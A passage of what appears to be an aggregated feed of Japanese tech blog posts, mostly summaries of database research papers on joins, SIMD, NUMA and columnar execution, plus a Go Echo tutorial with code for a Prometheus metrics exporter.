Serverが商用データベースなため重要であった。作業時間read28:5028:50author32:103:20summary57:0024:50","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/13_sql_server_udf_optimization","isoDate":"2023-04-28T02:29:05.000Z","dateMiliSeconds":1682648945000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Pull Requestで意識していること","contentSnippet":"どんな記事？Pull Request（以後PR）で自分がレビュイのときに意識していることをまとめてみました。PRだけじゃなくSlack等のテキストベースコミュニケーションでも同じようなことを意識…","link":"https://qiita.com/bayobayo0324/items/0d986370e0de95705b6f","isoDate":"2023-04-28T02:19:23.000Z","dateMiliSeconds":1682648363000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"DBMSの歴史とNewSQL","contentSnippet":"この記事はDBMSの登場以前から現代のDBMSを取り巻く環境までを振り返ることで、なぜNewSQLが必要とされ登場したのかをまとめます。 おことわり筆者はあくまでDBMSユーザーであり、研究者ではないため内容は個人の見解です。また対象読者はある程度DBMSに関わりがあり、OLTPやOLAP、列指向や行指向といった基本的な単語を理解しているものとします。またNewSQLの技術的詳細はスコープ外とします。 DBMS以前データベースという言葉は1950年代に米軍が情報基地を集約したことに由来します。一方で学術的なデータベースの起源はW. C. McGeeが1959年に発表...","link":"https://zenn.dev/nnaka2992/articles/history_of_db_and_newsql","isoDate":"2023-04-26T14:28:19.000Z","dateMiliSeconds":1682519299000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[DBREブログ] Snowflake とは？","contentSnippet":"はじめに クラウドデータウェアハウスの Snowflake についての解説です。Snowflake のアーキテクチャや料金体系、特徴、セキュリティについて説明しています。 概要 プラットフォームの概要 Snowflake […]The post [DBREブログ] Snowflake とは？ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/what-is-snowflake/","isoDate":"2023-04-26T02:37:56.000Z","dateMiliSeconds":1682476676000,"authorName":"Sreake","authorId":"Sreake"},{"title":"中間結果が莫大になるときの結合を最適化する最悪ケース最適化結合をRDBMSに適応する論文を読みました","contentSnippet":"この記事の趣旨2018年に発表された分析ワークロードなどで発生しがちな最終結果に比べ、非常に大きな中間結果を作成してしまうクエリを多方向結合で最適化する論文を読みました。Adopting Worst-Case Optimal Joins in Relational Database Systems著者についてMichael Freitag、Maximilian Bandle、Tobias Schmidt、Alfons Kemper、Thomas Neumannによるグループの論文いずれの著者もDBMSにおける最適化を中心に研究しており、それぞれ分析ワークロードにおける最適化や最新のハードウェアにおける最適化などを研究している。問題意識従来のRDBMSにおける結合処理のほとんどはバイナリ結合に依存して複数のリレーションにまたがるクエリを処理してきた。数十年に渡る研究によりバイナリ結合は幅広い柔軟性と優れた性能を発揮するようになった。その一方でバイナリ結合による実行計画は特定のワークロードでは最適ではないケースを示すことが知られている。主な原因として実際のクエリ結果に比べて非常に大きな中間結果を生成するためである。とくにPK以外のキーによる結合が多くなる分析ワークロードではそのような状態を避けることが難しく、またグラフ分析のようなクエリパターンでも多く見られる。近年の論理的な進歩により中間結果の列挙を避ける多方向結合のアルゴリズムが開発可能になった。この手法はバイナリ結合計画より優れた実行時間を保証できるため、RDBMSの堅牢性を大幅に向上させる可能性を持っている。しかし現状最悪ケース最適化結合アルゴリズムでは以下のような問題を抱えている。1. 膨大なストレージとメンテナンスを必要とする結合に参加出来るカラムを含むインデックスを必要とする。1. RDBMSは挿入と更新のサポートが必要なものの、既存のアルゴリズムは高価な事前計算を必要とする。そのため本論文は以下の制約を満たすアプローチを提案している1. 多方向結合が有益な場合のみ多方向結合を使用するオプティマイザを必要とする。1. 実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。手法提案手法では比較ベースではなくハッシュベースの結合のため、2の「実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。」という要素の考慮を除いている。またオプティマイザについては既存のコストベースのものを拡張し適応している。提案手法では潜在的に成長している結合のカスケードを最悪の場合の最適結合に置き換えることで、最適化されたバイナリ結合計画を洗練させるヒューリスティックなアプローチを提案している。通常の結合順序最適化で使用されるのと同じカーディナリティ推定値に基づいて、中間テーブルが膨大になる結合を特定する。作業時間read22:1322:13author25:483:35summary52:5826:50感想とても難しい内容に感じてしまい、殆ど頭を通りすぎてしまった気がする。今まで最適化は触れずに来たため、理解が浅い領域だった。よくよく考えるとDBMSの話しに最適化が登場するのはあたりまえなので、今後はその方面にも触れて行きたい。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/12_worst_case_optimal_join","isoDate":"2023-04-26T02:06:46.000Z","dateMiliSeconds":1682474806000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"マルチコアメインメモリにおけるソートジョインとハッシュジョインのパフォーマンスを検証した論文を読みました","contentSnippet":"この記事の趣旨2013年に発表された\\"Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited\\"という論文を読みました。当時最新のアルゴリズムとハードウェアにおける、ソートとハッシュによる結合のパフォーマンスを比べた論文です。Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited著者についてCagri Balkesen、Gustavo Alonso、Jens Teubner、M. Tamer Ozsuらのグループによる論文いずれもDBMSにおけるクエリ最適化やビッグデータにおけるパフォーマンスを研究している。またGustavo Alonsoはハードウェアや分散システムもメインのフィールドとしている。問題意識DBMSにおいて常にソートマージとハッシュ結合の性能比較が行われており、最新の研究ではSIMDやNUMAへの適正に基づいてソートマージがより優れていると結論づけられていた。しかしこれらの分野は常に研究が重ねられ、過去の検証時には登場していなったハッシュ結合の最適化手法が生れた。この論文ではそれらを適用し再度ソートマージとハッシュ結合の性能比較を行なう。手法本論文では以下に分けて結合手法の評価を行なっている。1. ソートフェーズの評価SIMDソートアルゴリズムとC++のSTLソートアルゴリズムを比較している。マージフェーズの評価入力サイズの調整によるマージフェーズの最適化パーマンスを検証している。ソートマージジョインにおける影響要因の特定結果結合対象のデータサイズに拘わらずハッシュによる結合がソートベースの結合のパフォーマンスを上回っている。Figure 14ソートマージによる結合は入力サイズが著しく大きくなったときのみハッシュ結合のパフォーマンスに近づく。Figure 15ソートマージ、ハッシュ結合におけるデータの偏りはパフォーマンスに大きな影響を及ぼさなかった。Figure 16いずれのアルゴリズムも物理的なコア数では線形にスケールした。Figure 17作業時間read23:1123:11author27:093:58summary60:1232:57","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/11_join_performance_comparison","isoDate":"2023-04-24T02:23:54.000Z","dateMiliSeconds":1682303034000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"RDBでの結合手法を比較した論文を読みました","contentSnippet":"この記事の趣旨2016年に発表された\\"An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory\\"という論文を読みました。様々な結合手法を包括的に比較した論文でどのような結合方法がどのような時に適しているかを示しています。An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory著者についてStefan Schuh、Xiao Chen、Jens Dittrichのグループによる論文。いずれもDBMSや分析システム、Hadoopなどにおける検索高速化・最適化の研究を行なっている。問題意識関係結合はほとんど全てのクエリプランにおいて中核をなす処理であり、定期的に研究・改良され再検討されてきた。新たな手法が提案され実験を行なわれるものの、それぞれ結果において比較を困難にする要素や幾らかの矛盾を孕んでいた。例えば同じハッシュベースの結合アルゴリズムの比較でも実装が異なったり、複数の論文でパフォーマンス比較で正反対の結果を示しているためである。そのため単純に論文執筆時点で最も高速な結合アルゴリズムを結論づけることが困難であった。手法本論文では結合方法を以下の3つに分類した1. パーティションベースハッシュジョインパーティションに分割し結合する手法。ハッシュテーブルの構築と結合されるデータの探索のキャッシュミスを最小にする事を目的としている。非パーティションベースハッシュジョインパーティションテーブルを構築しながら結合を行なう手法で、マルチスレッドと順番に依存しない実行によりキャッシュミスのパフォーマンス劣化を隠蔽している。ソートマージジョインSIMDによりベクトル化される。検証ではこれらの結合方法を以下の3つのテストで使用するために、全部で13のアルゴリズムを検証している。1. ブラックボックス比較ブラックボックス的に比較する。ホワイトボックス比較ブラックボックス比較で検証する結合方法に先行研究で示された最適化を施した上で比較を行なう。パラレルラディックスジョイン比較Table 2結果パーティション結合の一種であるリモート書込みを排除したCPR系アルゴリズムは小さな入力に対して有効ではないスケールの大きい結合ではとくに理由が無い場合、パーティションベースのジョインを利用する大きなサイズのページを利用するソフトウェアライトコンバインバッファ()を利用するパーティションジョインでは適切なパーティションビットを利用するできるかぎりシンプルなアルゴリズムを利用するNUMAを考慮したアルゴリズムを利用する実行時間とクエリ時間は同一ではない作業時間read31:3431:34author35:183:46summary77:5042:32","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/10_join_method_comparison","isoDate":"2023-04-23T14:16:28.000Z","dateMiliSeconds":1682259388000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"新卒2年目がAWS12冠を達成し、2つの賞を受賞するまで。","contentSnippet":"はじめに先日の2023 AWS Summit Tokyoで今年のAWSに関する受賞者が発表されました！各賞の詳細についてはこちら私は、2023/3月までに（新卒2年目で）12冠を達成したので、…","link":"https://qiita.com/yokoo-an209/items/0b9ca7b2eddbb586dcbc","isoDate":"2023-04-22T12:19:16.000Z","dateMiliSeconds":1682165956000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"コンパイルとベクトル化による最適化のパフォーマンスを比較した論文を読みました","contentSnippet":"この記事の趣旨2018年に発表された\\"Everything You Always Wanted to Know AboutCompiled and Vectorized Queries But Were Afraid to Ask\\"という論文を読みました。最新のクエリエンジンの特性をまとめ、どのようなワークロードに向くのかという指針を示すないようです。Everything You Always Wanted to Know About Compiled and Vectorized Queries But Were Afraid to AskTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Boncz著者についてTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Bonczのグループによる論文。いずれも大規模データにおけるクエリパフォーマスや最適化に関する研究を行なっている。問題意識分析ワークロードに向いた最新のクエリエンジンはベクトル化またはデータ中心のコード生成に基づいている。どちらのモデルも従来のエンジンに比べオーバーヘッドが少く、非常に効率的なものの概念的には大きく異なっている。この2つのモデルの違いは、DBMSの実行エンジンのソースコードの構成とその性能特性を決定する基本的なもので、クエリ実行モデルを超える多くの設計で異なる。本論文はことなる2つのモデルを再実装し、環境差異のないマシンで実行することでそれぞれのモデルがどのように違うのか。どのような用途に最適なのかを検証している。手法検証手法は著者らがC++で再実装したデータ中心モデルの「Taper」とベクトル化中心の「Tectorwise」を同一のマシンでパフォーマンス検証を行っている。検証項目は以下から成る1. インメモリOLAPワークロードでのマイクロアーキテクチャ分析1. SIMDの利点の検証1. マルチコアCPUにおけるクエリ並列化1. 異なるハードウェアでのパフォーマンス結果インメモリOLAPワークロードでのマイクロアーキテクチャ分析Figure 3: Performance – TPC-H SF=1, 1 threadSIMDの利点の検証SIMDを評価するにはTectorwiseのみを用いた。SIMDではスカラーなデータをベクトルに変換するペナルティは少く、最大8.4倍の性能向上が確認された。Figure 6: Scalar vs. SIMD Selection in TectorwiseマルチコアCPUにおけるクエリ並列化異なるハードウェアでのパフォーマンスIntel Skylake、Intel Knights Landing、AMD Ryzenで対照実験を行なったものの、いずれのハードウェアでもTyper、Tectorwiseともに有効に動作した。作業時間read29:2629:26author33:233:57summary76:3742:44感想VoectorwiseとHyperのいずれを使うべきか。どちらが優れているかといった疑問に答えるないようだった。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/9_compile_vs_vectorize_performance","isoDate":"2023-04-21T01:45:06.000Z","dateMiliSeconds":1682041506000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"ポリテクセンターのススメ","contentSnippet":"はじめに各都道府県には職業能力開発促進センター（ポリテクセンター）と呼ばれる職業訓練を行う施設があります。プログラマやインフラエンジニアになるためにここ数年スクールを受講するのが流行っていますが、今回はこのポリテクセンターをおすすめしたいと思います。ポリテクセンターでは求職者向け訓練と在職者向け訓練があります。求職者向け訓練はこれから会社に就職するために6ヶ月ほど訓練を受講します。在職者向け訓練はすでに会社に就職している人向けの1〜3日ほどの内容を絞った講座形式になります。 求職者向け訓練例えば神奈川県にあるポリテクセンター関東では以下の求職者向け訓練があります。...","link":"https://zenn.dev/satoken/articles/polytech-susume","isoDate":"2023-04-21T00:57:44.000Z","dateMiliSeconds":1682038664000,"authorName":"satoken","authorId":"satoken"},{"title":"SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文を読みました","contentSnippet":"この記事の趣旨2020年に提案された\\"Make the most out of your SIMD investments: counter control flowdivergence in compiled query pipelines\\"という論文を読みました。SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文です。Make the most out of your SIMD investments: counter control flow divergence in compiled query pipelinesHarald Lang, Linnea Passing, Andreas Kipf, Peter Boncz, Thomas Neumann, Alfons Kemper著者についてHarald Lang、 Linnea Passing、 Andreas Kipf、 Peter Boncz、 Thomas Neumann、 Alfons Kemperのグループによる研究いずれも最新のアーキテクチャでのクエリ最適化やデータ分析における検索手法などを研究している。問題意識CPUの発展にともないあたらしいCPUアーキテクチャが登場した。Single Instruction Multiple Data(SIMD)ではRDBはSIMDによるベクトル処理能力の向上により、クエリコンパイラの実行パイプライン全体をベクトル化して高度なデータ並列性の恩恵を受けることが出来るようになった。一方でクエリ全体をベクトル化して実行することで、SIMDによるクエリ評価が忙しくなる。SIMD評価で結果に寄与しない評価が単純にオーバーヘッドとなってしまう。手法本論文ではリフィルアルゴリズムとそのアルゴリズムをクエリパイプラインプランに統合する手法で上記の問題の解決を試みている。リフィルアルゴリズムは基本的に新しい要素を宛先レジスタの希望する位置にコピーするアルゴリズムで、メモリからレジスタとレジスタからレジスタへのコピーの2パターンが存在する。クエリパイプラインプランに統合するリフィル戦略ではConsume EverythingパターンとPartial Consumeパターンが存在する。Consum Everything戦略は、タプルをバッファリングするために使用される追加のベクターレジスタを割り当てる方法で利用率が低い場合、オペレータはこれらのタプルの処理を延期する。つまり、この反復ではボディは実行されず(条件が満たされない場合)、代わりにアクティブなタプルがこれらのバッファレジスタに移動することになる。Partial Consume戦略ではconsume()コードを入力の一部に適用する方法で、制御フローを前のオペレータに戻し、アクティブなデータ断片のみをベクトルレジスタに残すことで実行を延期している。作業時間read29:4029:40author33:404:00summary60:0426:36感想前回に引続き個人的には難しいと感じる論文だった。2000年前後の提案にくらべ、2015年前後の論文ではハードウェアアーキテクチャを中心とした手法がピックアップされている。単純に自分の知識不足、理解力不足なので勉強するしかない。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/8_counter_control_flow_divergence_in_compiled_query_pipelines","isoDate":"2023-04-20T02:00:20.000Z","dateMiliSeconds":1681956020000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"NUMAアーキテクチャでのクエリ最適化に関する論文を読みました","contentSnippet":"この記事の趣旨\\"Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework forthe Many-Core Age\\"という2014年に発表された、多コアサーバにおけるクエリ最適化手法をあつかった論文を読みました。[Morsel-Driven Parallelism: A NUMA-Aware QueryEvaluation Framework for the Many-Core Age](https://15721.courses.cs.cmu.edu/spring2023/papers/07-scheduling/p743-leis.pdf)Viktor Leis, Peter Boncz, Alfons Kemper, Thomas Neumann著者についてViktor Leis、 Peter Boncz、 Alfons Kemper、Thomas Neumannのグループによる研究いずれもデータベースと 高速化かを中心に研究している。問題意識コンピュータアーキテクチャの進化にともない、二つのあたらしい問題が生じた。多コアを利用するためにクエリを数百のスレッドに均等に分散させるそれをNUMA(Non-Uniform Memory Access)による順序通りではないメモリアクセスで実現する必要がある。これらの要因からplanベースの並列処理による不可分散とコンテキストスイッチとボトルネックが問題になりスケールが難しかった。NUMAによってデータとアクセススレッドがどのチップに配置されるかによって、データ項目のアクセスコストが異なるため、コンピュータ自体がネットワークになっており、多コア並列化では、RAMやキャッシュ階層を考慮する必要がある。この論文ではMoral-drivenクエリ実行フレームワークを提案している。手法提案手法は並列クエリ処理のため、morselドリブンクエリ評価フレームワークを提示した。これはメニーコア時代の分析クエリ性能の主要なボトルネックである負荷分散、スレッド同期、メモリアクセス局所性およびリソース弾力性を解決することを目的としている。ベースとなるアイデアは以下の2つに分けられる。メモリ上のデータをmorselと呼ばれる小さなバッチに分割し、バッチごとに処理を実行したあとにそれぞれの処理結果をグローバルハッシュテーブルとしてまとめる。Figure 3: NUMA-aware processing of the build-phaseディスパッチャと呼ばれる並行パイプライン制御を行ない、ワーカースレッドをタスクに割り当てるFigure 5: Dispatcher assigns pipeline-jobs on morsels to threads depending on the coreまとめとして著者はきめ細かいスケジューリング、完全演算子並列化、低オーバーヘッド同期、NUMA対応スケジューリングの原理を用いて、他のシステムでもメニーコアスケーリングを改善できると示唆している。作業時間read28:3628:36author32:453:09summary60:3727:52感想近現代のサーバアーキテクチャで主流になっているNUMAでのクエリパフォーマンス向上のための論文のため、古典的なものに比べ概念が難しいものが多い。もう少し理解を深めたい。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/7_numa_aware_query_evaluation_framework","isoDate":"2023-04-18T01:01:35.000Z","dateMiliSeconds":1681779695000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"列指向DBMSにおけるデータを提案した論文を読みました","contentSnippet":"この記事の趣旨\\"MonetDB/X100: Hyper-Pipelining Query Execution\\"という2005年に発表された、列指向DBMSを提案した論文を読んでいきます。分析ワークロード向けRDBMSにおける初期実装であるMonetDBを扱った論文で、提案時期が2005年と古くはあるものの現代のDWHの礎となる内容です。MonetDB/X100: Hyper-Pipelining Query ExecutionPeter Boncz, Marcin Zukowski, Niels Nes著者についてPeter Boncz、Marcin Zukowski、Niels Nseのグループによる論文。いずれの著者も機械学習や分析におけるDBMSについて研究している。問題意識2005年当時のDBMSは他のアプリケーションに比べ、IPCが低くなる傾向にあった。原因はほとんどのDBMSがコンパイラの最適化を阻害する実装だったためである。これはRDBMSが実装された当時に比べCPUやコンパイラが発達したためで、この論文ではC-store DBMSであるMonetDBと従来のR-store DBMSをそれぞれTPC-Hで評価を行い、パフォーマンス阻害要件と最適化方法を提案している。手法CPUによるIF文の処理方法はDBMSにとっては選択性が低く、そういった実行は予測不可能でありクエリ実行を著しく劣らせた。提案手法ではMonetDB/X100として効率的なシーケンシャルアクセスに向けた、C-storeストレージとクエリエンジンを実装した。RAMは提案手法のデータアクセスと同様の方法で圧縮して保存し、Cacheではなベクトル化された処理にもとづくパイプライン実装を使用した。CPUにおいてもベクトル型における式計算を提供し、コンパイラが高効率な処理を生成した。結果として提案手法は従来のDBMS実行に比べTPC-Hで優れた性能をしめした。作業時間read21:3221:32author29:007:28summary56:2027:20感想2005年と古く、またVolcano-likeなど知らない概念も登場した。提案内容としては現代のDWHが採用しているものだった。論文外の感想今回本文を読む時間を大幅に短くしてみたが、それにともない理解度も低下した気がする。やっぱり30分以上で読むのがよさそう。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/6_hyper_pipelining_query_execution","isoDate":"2023-04-17T01:16:56.000Z","dateMiliSeconds":1681694216000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Golang のEcho でMiddlewareを使ってPrometheus Exporter を実装する","contentSnippet":"はじめにもし、アプリケーションに実装できるならそれが良いです。独自に実装などせずにエンドポイントにて500 Internal Server Errorが多発していればアラートをすれば良いので...。こちらの続編になります。syu-m-5151.hatenablog.com本エントリーでは、GolangでEchoフレームワークを使用し、Prometheus ExporterをMiddlewareとして実装する方法について説明します。Prometheus Middlewareは、自動でMetrics を生成します。これにより、アプリケーションのパフォーマンス監視や問題解析が容易になります。利用しているコードはこちらgithub.comはじめにコードを解説するんじゃいvarinitmeasureExternalAccessunstableEndpointMiddlewareを適用Prometheus Middlewareを適用EchoのMiddlewareについてEcho Echo Middleware の特徴再び、Docker Compose での実行するんじゃろがい見れたぞぉおおおおさいごにコードを解説するんじゃいシンプルだけど解説をします。環境構築などは前回のエントリーに任せます。Echoフレームワークを使ってGolangでシンプルなWebアプリケーションを作成し、Prometheus Exporterをミドルウェアとして実装する例です。package mainimport ( \\"math/rand\\" \\"net/http\\" \\"time\\" \\"github.com/labstack/echo-contrib/prometheus\\" \\"github.com/labstack/echo/v4\\" \\"github.com/labstack/echo/v4/middleware\\" prom \\"github.com/prometheus/client_golang/prometheus\\")// Prometheus のメトリクスを定義しています。// これらのメトリクスは、3-shake.com への外部アクセスの情報を収集するために使用されます。var ( externalAccessDuration = prom.NewHistogram( prom.HistogramOpts{ Name: \\"external_access_duration_seconds\\", Help: \\"Duration of external access to 3-shake.com\\", Buckets: prom.DefBuckets, }, ) lastExternalAccessStatusCode = prom.NewGauge( prom.GaugeOpts{ Name: \\"last_external_access_status_code\\", Help: \\"Last status code of external access to 3-shake.com\\", }, ))// init 関数内で、メトリクスを Prometheus に登録しています。func init() { prom.MustRegister(externalAccessDuration) prom.MustRegister(lastExternalAccessStatusCode)}// 3-shake.com の外部アクセスを計測するミドルウェアを作成します。func measureExternalAccess(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { // HTTP クライアントを作成し、タイムアウトを 10 秒に設定します。 client := &http.Client{Timeout: 10 * time.Second} // 現在の時刻を取得し、アクセス開始時間として保持します。 startTime := time.Now() // 3-shake.com に対して HTTP GET リクエストを送信します。 resp, err := client.Get(\\"https://3-shake.com\\") // アクセス開始時間から現在の時刻までの経過時間を計算し、duration に格納します。 duration := time.Since(startTime) // エラーが発生しない場合（リクエストが成功した場合） if err == nil { // アクセス時間（duration）をヒストグラムメトリクスに追加します。 externalAccessDuration.Observe(duration.Seconds()) // ステータスコードをゲージメトリクスに設定します。 lastExternalAccessStatusCode.Set(float64(resp.StatusCode)) // レスポンスのボディを閉じます。 resp.Body.Close() } // 次のミドルウェアまたはハンドラ関数に処理を移します。 return next(c) }}func unstableEndpoint(c echo.Context) error { // 0 から 4 までのランダムな整数を生成します。 randomNumber := rand.Intn(5) // 生成された整数が 4 の場合、HTTP ステータスコード 500 を返します。 if randomNumber == 4 { return c.String(http.StatusInternalServerError, \\"Something went wrong!\\") } // それ以外の場合、HTTP ステータスコード 200 を返します。 return c.String(http.StatusOK, \\"Success!\\")}func main() { e := echo.New() // ミドルウェアの設定 e.Use(middleware.Logger()) e.Use(middleware.Recover()) // Prometheus ミドルウェアを有効にします。 p := prometheus.NewPrometheus(\\"echo\\", nil) p.Use(e) // 3-shake.com への外部アクセスを計測するミドルウェアを追加します。 e.Use(measureExternalAccess) // ルートのエンドポイントを設定します。 e.GET(\\"/\\", func(c echo.Context) error { return c.String(http.StatusOK, \\"Hello, World!\\") }) // /unstable エンドポイントを設定します。 // 20% の確率で HTTP ステータスコード 500 を返します。 e.GET(\\"/unstable\\", unstableEndpoint) // サーバーを開始します。 e.Start(\\":2121\\")}varvarで3-shake.com への外部アクセスの情報を収集するための Prometheus メトリクスを定義していきます。var ( externalAccessDuration = prom.NewHistogram( prom.HistogramOpts{ Name: \\"external_access_duration_seconds\\", Help: \\"Duration of external access to 3-shake.com\\", Buckets: prom.DefBuckets, }, ) lastExternalAccessStatusCode = prom.NewGauge( prom.GaugeOpts{ Name: \\"last_external_access_status_code\\", Help: \\"Last status code of external access to 3-shake.com\\", }, ))echo.labstack.cominitinit 関数でメトリクスを Prometheus に登録します。func init() { prom.MustRegister(externalAccessDuration) prom.MustRegister(lastExternalAccessStatusCode)}measureExternalAccessmeasureExternalAccess関数で3-shake.com への外部アクセスを計測するミドルウェアを定義します。こちらの方がEcho Likeな定義の仕方だと思うので好きです。Echo のカスタムミドルウェアで、リクエストが処理される前に 3-shake.com への外部アクセスを計測する役割を持っています。func measureExternalAccess(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { // HTTP クライアントを作成し、タイムアウトを 10 秒に設定します。 client := &http.Client{Timeout: 10 * time.Second} // 現在の時刻を取得し、アクセス開始時間として保持します。 startTime := time.Now() // 3-shake.com に対して HTTP GET リクエストを送信します。 resp, err := client.Get(\\"https://3-shake.com\\") // アクセス開始時間から現在の時刻までの経過時間を計算し、duration に格納します。 duration := time.Since(startTime) // エラーが発生しない場合（リクエストが成功した場合） if err == nil { // アクセス時間（duration）をヒストグラムメトリクスに追加します。 externalAccessDuration.Observe(duration.Seconds()) // ステータスコードをゲージメトリクスに設定します。 lastExternalAccessStatusCode.Set(float64(resp.StatusCode)) // レスポンスのボディを閉じます。 resp.Body.Close() } // 次のミドルウェアまたはハンドラ関数に処理を移します。 return next(c) }}unstableEndpointちゃんと、メトリクス値が取得できているか確認したいのでunstableEndpointというエンドポイントを追加し、リクエストのうち約 5 回に 1 回失敗するように実装しました。このエンドポイントは、リクエストが成功した場合には HTTP ステータスコード 200 を返し、失敗した場合には HTTP ステータスコード 500 を返します。func unstableEndpoint(c echo.Context) error { // 0 から 4 までのランダムな整数を生成します。 randomNumber := rand.Intn(5) // 生成された整数が 4 の場合、HTTP ステータスコード 500 を返します。 if randomNumber == 4 { return c.String(http.StatusInternalServerError, \\"Something went wrong!\\") } // それ以外の場合、HTTP ステータスコード 200 を返します。 return c.String(http.StatusOK, \\"Success!\\")}curl してくるワンライナー(fish)も用意しましたので思う存分curl してください。for i in (seq 1 50); curl http://localhost:2121/unstable; echo \\"\\"; endMiddlewareを適用寂しいのでPrometheus 以外のMiddlewareをEchoインスタンスに適用しました。middleware.Logger() : リクエストのログを出力するMiddlewaremiddleware.Recover() : パニックを回復してアプリケーションがクラッシュしないようにするMiddleware e.Use(middleware.Logger()) e.Use(middleware.Recover())Prometheus Middlewareを適用これだけなんです。Echo用の新しいPrometheus Middlewareインスタンスを作成します。作成したPrometheus MiddlewareインスタンスをEchoインスタンスに適用します。 // Prometheusミドルウェアを適用する p := prometheus.NewPrometheus(\\"echo\\", nil) p.Use(e)EchoのMiddlewareについてMiddlewareは、リクエストとレスポンスの処理の前後にカスタムロジックを実行するための仕組みを提供しています。EchoのMiddlewareは、コードの再利用性、可読性、そして機能の分離を向上させるために役立ちます。>Logger: Request Logger->>Middleware1: Processed Request Middleware1->>Recovery: Processed Request Recovery->>Prometheus: Processed Request Prometheus->>CORS: Processed Request CORS->>Handler: Processed Request Handler->>CORS: Response CORS->>Prometheus: Processed Response Prometheus->>Recovery: Processed Response Recovery->>Middleware1: Processed Response Middleware1->>Logger: Processed Response Logger->>Client: Processed Responsemermaid.initialize({startOnLoad: true});echo.labstack.comEcho Echo Middleware の特徴Middlewareは、複数のMiddleware関数を組み合わせて実行することができます。これにより、機能を組み合わせてカスタム処理パイプラインを構築することができます。これらは登録された順序で実行されます。これにより、処理の流れを明確にし、簡単に制御できるようになります。また、Echoでは、これらをグローバルに適用することも、特定のルートに適用することもできます。これにより、アプリケーション全体または特定のエンドポイントに対してカスタム処理を適用できます。Echoは、いくつかの組み込みミドルウェアを提供していますが独自のカスタムミドルウェアを作成してアプリケーションに適用することもできます。e := echo.New()e.Use(middleware.Logger()) # 登録された順序で実行されるぞe.GET(\\"/\\",getHallo,middleware.Recover()) # e.GET(\\"/\\", , ) で特定のルートにだけMiddlewareを登録できるe.Use(LoggingMiddleware) # 独自で実装するカスタムミドルウェアecho.labstack.com再び、Docker Compose での実行するんじゃろがい完全に同じことやってるのでこちらを参考にしてくださいsyu-m-5151.hatenablog.com見れたぞぉおおおおhttp://localhost:2121/metrics の結果もこちらに記載しておきますgithub.comGolang のEcho でMiddlewareを使ってアプリケーションのPrometheus Exporter を実装することができました。アラートの設定方法については他のブログを参照してください。さいごに以上で、Echo フレームワークを使って、Prometheus メトリクスを追加し、さらに不安定なエンドポイントを作成する方法を解説しました。この知識を活かして、みなさんのアプリケーションにメトリクスを取得する機能を追加して、可観測性を向上させましょう！全然、関係ないけど翻訳に携わってコンテナセキュリティのブラックボックス感が多少薄まるのでみんな読んでくれ...コンテナセキュリティ　コンテナ化されたアプリケーションを保護する要素技術作者:Liz RiceインプレスAmazon","link":"https://syu-m-5151.hatenablog.com/entry/2023/04/17/100001","isoDate":"2023-04-17T01:00:01.000Z","dateMiliSeconds":1681693201000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Golang のEcho で Prometheus Exporter を実装する","contentSnippet":"はじめにPrometheus でアプリケーションの構築をしているとどうしてもこの値が取りたいのに... と思うことが多々ある。Pushgateway も選択肢として上げられるが今回は選択肢を増やしてほしいという意味でもExporterの実装方法について検討していきます。ExporterはPrometheusのpull モデルに適合し、監視対象のライフサイクルと一貫性があり、スケーラビリティと自動検出の利点を享受できるため、Pushgatewayよりも推奨される方法です。ただし、特定のユースケース（サービスレベルのバッチジョブなど）では、Pushgatewayの使用が適切な場合もあります。Pushgatewayを使う際には以下の問題点があるので注意が必要です。複数のインスタンスを1つのPushgatewayで監視すると、単一障害点とボトルネックが発生する可能性がある。Prometheusの自動インスタンスヘルスチェックが利用できなくなる。Pushgatewayは一度プッシュされたデータを忘れず、手動でAPIを通じて削除しない限り永久にPrometheusで公開されてしまう。Exporter の実装と運用はそこそこ手間になるので最適な方法を選んでほしいです。この辺はCloudを利用しても同じような問題があるので注意しながらやっていきましょう。はじめにExporterとはPrometheusの公式クライアントライブラリやっていくぞ！おら！環境構築実装についてコードを解説するんじゃいPrometheusのメトリクスを定義init関数registerMetrics関数updateMetrics関数prometheusMiddleware関数measureExternalAccess関数var 配下ってことぉおおおhttpRequestsTotalhttpRequestDurationhttpRequestSizehttpResponseSizehttpResponseTimeexternalAccessDurationDocker Compose での実行するんじゃろがいprometheus.ymldocker-compose.ymlDockerfiledocker compose の実行さいごにサンプルコードはこちらです。サンプルコード自体は雑多な作業リポジトリにおいてあるのでご注意ください。また、アプリケーション自体のリソースを確認するのにEcho のミドルウェアを使用していません。自身の利用しているライブラリーにPrometheus 